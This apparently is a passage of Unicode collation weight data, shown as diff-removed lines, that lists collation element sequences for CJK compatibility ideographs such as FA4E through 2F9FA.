-FA4E      ; [.3A5E.004C.0002.7948][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4E
-FA4D      ; [.3A6A.0035.0002.7949][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4D
-FA4F      ; [.3A69.0032.0002.7950][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4F
-FA50      ; [.3A6A.0039.0002.7956][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA50
-2F953     ; [.3A6A.0039.0002.7956][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F953
-FA51      ; [.3A6C.0023.0002.795D][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA51
-FA19      ; [.3A67.002C.0002.795E][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA19
-FA1A      ; [.3A67.0037.0002.7965][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1A
-F93C      ; [.3A63.0022.0002.797F][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93C
-FA52      ; [.3A70.0027.0002.798D][.3AE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA52
-FA53      ; [.3A6A.0044.0002.798E][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA53
-FA1B      ; [.3A65.0028.0002.798F][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1B
-2F956     ; [.3A65.0028.0002.798F][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F956
-F9B6      ; [.3A63.0023.0002.79AE][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B6
-F995      ; [.3A60.0023.0002.79CA][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F995
-2F957     ; [.3A6C.0024.0002.79EB][.3AE9.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F957
-F956      ; [.3A63.0023.0002.7A1C][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F956
-FA54      ; [.3A5E.0025.0002.7A40][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA54
-2F959     ; [.3A5E.0025.0002.7A40][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F959
-FA55      ; [.3A61.0022.0002.7A81][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA55
-F9F7      ; [.3A63.0022.0002.7ACB][.3AF0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F7
-F9F8      ; [.3A63.0023.0002.7B20][.3AF0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F8
-FA56      ; [.3A6A.0027.0002.7BC0][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA56
-FAAD      ; [.3A6A.0027.0002.7BC0][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAD
-2F962     ; [.3A6A.003D.0002.7BC6][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F962
-2F963     ; [.3A6C.0026.0002.7BC9][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F963
-F9A6      ; [.3A63.0025.0002.7C3E][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A6
-F944      ; [.3A63.0026.0002.7C60][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F944
-F9F9      ; [.3A63.0024.0002.7C92][.3AF0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F9
-FA1D      ; [.3A6A.0047.0002.7CBE][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1D
-FA03      ; [.3A61.0029.0002.7CD6][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA03
-F97B      ; [.3A63.0029.0002.7CE7][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97B
-2F96A     ; [.3A5E.004F.0002.7D00][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96A
-F9CF      ; [.3A60.0022.0002.7D10][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CF
-F96A      ; [.3A67.0023.0002.7D22][.3ADD.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96A
-F94F      ; [.3A63.0028.0002.7D2F][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94F
-FAAF      ; [.3A6A.0063.0002.7D5B][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAF
-2F96C     ; [.3A65.0034.0002.7D63][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96C
-F93D      ; [.3A63.0023.0002.7DA0][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93D
-F957      ; [.3A63.0024.0002.7DBE][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F957
-2F96E     ; [.3A6C.0030.0002.7DC7][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96E
-F996      ; [.3A63.0027.0002.7DF4][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F996
-FA57      ; [.3A63.0027.0002.7DF4][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA57
-FAB0      ; [.3A63.0027.0002.7DF4][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB0
-FA58      ; [.3A6A.0036.0002.7E09][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA58
-F950      ; [.3A63.0029.0002.7E37][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F950
-FA59      ; [.3A65.0026.0002.7E41][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA59
-2F970     ; [.3A67.0052.0002.7E45][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F970
-FAB1      ; [.3A65.0035.0002.7F3E][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB1
-FA5A      ; [.3A67.0035.0002.7F72][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5A
-F9E6      ; [.3A63.0031.0002.7F79][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E6
-F90F      ; [.3A63.0024.0002.7F85][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90F
-F9AF      ; [.3A63.0029.0002.7F9A][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AF
-FA1E      ; [.3A69.0036.0002.7FBD][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1E
-2F979     ; [.3A5E.005A.0002.7FFA][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F979
-F934      ; [.3A63.0029.0002.8001][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F934
-FA5B      ; [.3A6A.0033.0002.8005][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5B
-FAB2      ; [.3A6A.0033.0002.8005][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB2
-2F97A     ; [.3A6A.0033.0002.8005][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F97A
-F9B0      ; [.3A63.002B.0002.8046][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B0
-F997      ; [.3A63.0028.0002.806F][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F997
-2F97F     ; [.3A6C.0028.0002.8070][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F97F
-F945      ; [.3A63.0027.0002.807E][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F945
-F953      ; [.3A63.0022.0002.808B][.3AEE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F953
-2F8D6     ; [.3A60.0023.0002.80AD][.3AE9.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D6
-2F982     ; [.3A69.0024.0002.80B2][.3AED.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F982
-2F985     ; [.3A65.003F.0002.813E][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F985
-F926      ; [.3A63.0022.0002.81D8][.3ADC.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F926
-F9F6      ; [.3A63.0024.0002.81E8][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F6
-FA5C      ; [.3A6C.002A.0002.81ED][.3AEC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5C
-2F893     ; [.3A69.002E.0002.8201][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F893
-2F98B     ; [.3A69.002E.0002.8201][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F98B
-F97C      ; [.3A63.002A.0002.826F][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97C
-2F990     ; [.3A69.0037.0002.828B][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F990
-2F991     ; [.3A6A.003B.0002.829D][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F991
-2F993     ; [.3A70.0029.0002.82B1][.3AE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F993
-2F994     ; [.3A65.0035.0002.82B3][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F994
-2F995     ; [.3A69.0029.0002.82BD][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F995
-F974      ; [.3A69.0023.0002.82E5][.3ADE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F974
-2F998     ; [.3A69.0023.0002.82E5][.3ADE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F998
-2F996     ; [.3A5E.003A.0002.82E6][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F996
-2F999     ; [.3A6C.002E.0002.831D][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F999
-2F99C     ; [.3A69.004C.0002.8323][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99C
-F9FE      ; [.3A61.0022.0002.8336][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FE
-FAB3      ; [.3A70.0034.0002.8352][.3AE5.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB3
-2F99D     ; [.3A64.002A.0002.83BD][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99D
-F93E      ; [.3A63.0024.0002.83C9][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93E
-2F9A1     ; [.3A5E.0023.0002.83CA][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A1
-2F9A2     ; [.3A5E.0025.0002.83CC][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A2
-2F9A3     ; [.3A6C.0029.0002.83DC][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A3
-FAB4      ; [.3A70.002A.0002.83EF][.3AE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB4
-F958      ; [.3A63.0025.0002.83F1][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F958
-F918      ; [.3A63.0025.0002.843D][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F918
-F96E      ; [.3A69.0023.0002.8449][.3AE2.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96E
-FA5F      ; [.3A6A.0034.0002.8457][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5F
-2F99F     ; [.3A6A.0034.0002.8457][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99F
-F999      ; [.3A63.0029.0002.84EE][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F999
-2F9A8     ; [.3A6F.002A.0002.84F1][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A8
-F9C2      ; [.3A63.002A.0002.84FC][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C2
-2F9AC     ; [.3A69.0062.0002.8564][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9AC
-F923      ; [.3A63.0028.0002.85CD][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F923
-F9F0      ; [.3A63.0025.0002.85FA][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F0
-F935      ; [.3A63.002A.0002.8606][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F935
-F91F      ; [.3A63.0027.0002.862D][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91F
-F910      ; [.3A63.0025.0002.863F][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F910
-2F9B3     ; [.3A70.0023.0002.8650][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B3
-F936      ; [.3A63.002B.0002.865C][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F936
-2F9B4     ; [.3A63.002B.0002.865C][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B4
-2F9B5     ; [.3A70.0025.0002.8667][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B5
-2F9B7     ; [.3A6C.0034.0002.86A9][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B7
-2F9BC     ; [.3A6A.0026.0002.8728][.3AE0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9BC
-F911      ; [.3A63.0026.0002.87BA][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F911
-F927      ; [.3A63.0023.0002.881F][.3ADC.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F927
-FA08      ; [.3A70.0025.0002.884C][.3ADD.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA08
-2F9C4     ; [.3A69.0030.0002.8863][.3AEF.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9C4
-F9A0      ; [.3A63.0026.0002.88C2][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A0
-F9E7      ; [.3A63.0034.0002.88CF][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E7
-F9E8      ; [.3A63.0035.0002.88E1][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E8
-F912      ; [.3A63.0027.0002.88F8][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F912
-FA60      ; [.3A5E.0028.0002.8910][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA60
-FAB6      ; [.3A5E.0034.0002.8941][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB6
-F924      ; [.3A63.0029.0002.8964][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F924
-FAB7      ; [.3A65.002D.0002.8986][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB7
-FA0A      ; [.3A5E.0028.0002.898B][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0A
-FA61      ; [.3A67.0037.0002.8996][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA61
-FAB8      ; [.3A67.0037.0002.8996][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB8
-2F9CF     ; [.3A67.0031.0002.8AA0][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9CF
-F96F      ; [.3A67.002B.0002.8AAA][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96F
-F9A1      ; [.3A67.002B.0002.8AAA][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A1
-FAB9      ; [.3A6A.0046.0002.8ABF][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB9
-FABB      ; [.3A6C.0026.0002.8ACB][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABB
-F97D      ; [.3A63.002B.0002.8AD2][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97D
-F941      ; [.3A63.0021.0002.8AD6][.3AE4.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F941
-FABE      ; [.3A69.0046.0002.8AED][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABE
-2F9D0     ; [.3A69.0046.0002.8AED][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D0
-FA22      ; [.3A6A.0030.0002.8AF8][.3AE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA22
-FABA      ; [.3A6A.0030.0002.8AF8][.3AE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABA
-F95D      ; [.3A60.0021.0002.8AFE][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95D
-FABD      ; [.3A60.0021.0002.8AFE][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABD
-FA62      ; [.3A69.0022.0002.8B01][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA62
-FABC      ; [.3A69.0022.0002.8B01][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABC
-FA63      ; [.3A5E.002D.0002.8B39][.3AEE.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA63
-FABF      ; [.3A5E.002D.0002.8B39][.3AEE.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABF
-F9FC      ; [.3A67.002C.0002.8B58][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FC
-F95A      ; [.3A61.002A.0002.8B80][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95A
-FAC0      ; [.3A65.0023.0002.8B8A][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC0
-2F9D1     ; [.3A65.0023.0002.8B8A][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D1
-F900      ; [.3A5E.0057.0002.8C48][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F900
-2F9D2     ; [.3A67.003B.0002.8C55][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D2
-2F9D4     ; [.3A5E.002E.0002.8CAB][.3AE5.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D4
-2F9D5     ; [.3A65.0032.0002.8CC1][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D5
-F948      ; [.3A63.0025.0002.8CC2][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F948
-F903      ; [.3A5E.0039.0002.8CC8][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F903
-FA64      ; [.3A65.002D.0002.8CD3][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA64
-FA65      ; [.3A6A.002B.0002.8D08][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA65
-FAC1      ; [.3A6A.002B.0002.8D08][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC1
-2F9D6     ; [.3A5E.0039.0002.8D1B][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D6
-2F9D7     ; [.3A5E.0058.0002.8D77][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D7
-2F9DA     ; [.3A65.0027.0002.8DCB][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9DA
-F937      ; [.3A63.002C.0002.8DEF][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F937
-F902      ; [.3A6C.002D.0002.8ECA][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F902
-F998      ; [.3A63.002A.0002.8F26][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F998
-F9D7      ; [.3A63.0026.0002.8F2A][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D7
-FAC2      ; [.3A67.004F.0002.8F38][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC2
-2F9DF     ; [.3A67.004F.0002.8F38][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9DF
-FA07      ; [.3A65.002F.0002.8F3B][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA07
-F98D      ; [.3A63.0026.0002.8F62][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98D
-F971      ; [.3A6A.003E.0002.8FB0][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F971
-F99A      ; [.3A63.002B.0002.9023][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99A
-FA25      ; [.3A69.0027.0002.9038][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA25
-FA67      ; [.3A69.0027.0002.9038][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA67
-FAC3      ; [.3A6A.0041.0002.9072][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC3
-F9C3      ; [.3A63.002B.0002.907C][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C3
-F913      ; [.3A63.0028.0002.908F][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F913
-FA2E      ; [.3A63.0028.0002.90DE][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2E
-FA26      ; [.3A61.0045.0002.90FD][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA26
-F919      ; [.3A63.0026.0002.916A][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F919
-F9B7      ; [.3A63.0024.0002.91B4][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B7
-F9E9      ; [.3A63.0036.0002.91CC][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E9
-F97E      ; [.3A63.002D.0002.91CF][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97E
-F90A      ; [.3A5E.0021.0002.91D1][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90A
-F9B1      ; [.3A63.002D.0002.9234][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B1
-2F9E7     ; [.3A65.002F.0002.9238][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9E7
-2F9EA     ; [.3A65.0039.0002.927C][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9EA
-2F9E8     ; [.3A70.003F.0002.92D7][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9E8
-F93F      ; [.3A63.0025.0002.9304][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93F
-F99B      ; [.3A63.002C.0002.934A][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99B
-2F9EE     ; [.3A5E.0033.0002.958B][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9EE
-F986      ; [.3A63.002E.0002.95AD][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F986
-F9C6      ; [.3A69.0031.0002.962E][.3AE5.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C6
-F951      ; [.3A63.002D.0002.964B][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F951
-FA09      ; [.3A5E.0037.0002.964D][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA09
-F959      ; [.3A63.0026.0002.9675][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F959
-F9D3      ; [.3A63.0023.0002.9678][.3AED.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D3
-FAC6      ; [.3A6A.004E.0002.967C][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC6
-F9DC      ; [.3A63.0021.0002.9686][.3AED.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DC
-F9F1      ; [.3A63.0027.0002.96A3][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F1
-FA2F      ; [.3A63.0025.0002.96B7][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2F
-F9B8      ; [.3A63.0026.0002.96B8][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B8
-F9EA      ; [.3A63.0038.0002.96E2][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EA
-FA68      ; [.3A60.0023.0002.96E3][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA68
-FAC7      ; [.3A60.0023.0002.96E3][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC7
-F9B2      ; [.3A63.002E.0002.96F6][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B2
-F949      ; [.3A63.0028.0002.96F7][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F949
-2F9F5     ; [.3A69.0031.0002.9723][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9F5
-F938      ; [.3A63.002E.0002.9732][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F938
-F9B3      ; [.3A63.002F.0002.9748][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B3
-FA1C      ; [.3A6A.0054.0002.9756][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1C
-FAC8      ; [.3A6A.0054.0002.9756][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC8
-2F9FA     ; [.3A6F.0034.0002.97E0][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9FA
-FA69      ; [.3A70.0026.0002.97FF][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA69
-FACA      ; [.3A70.0026.0002.97FF][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACA
-F9B4      ; [.3A63.0030.0002.9818][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B4
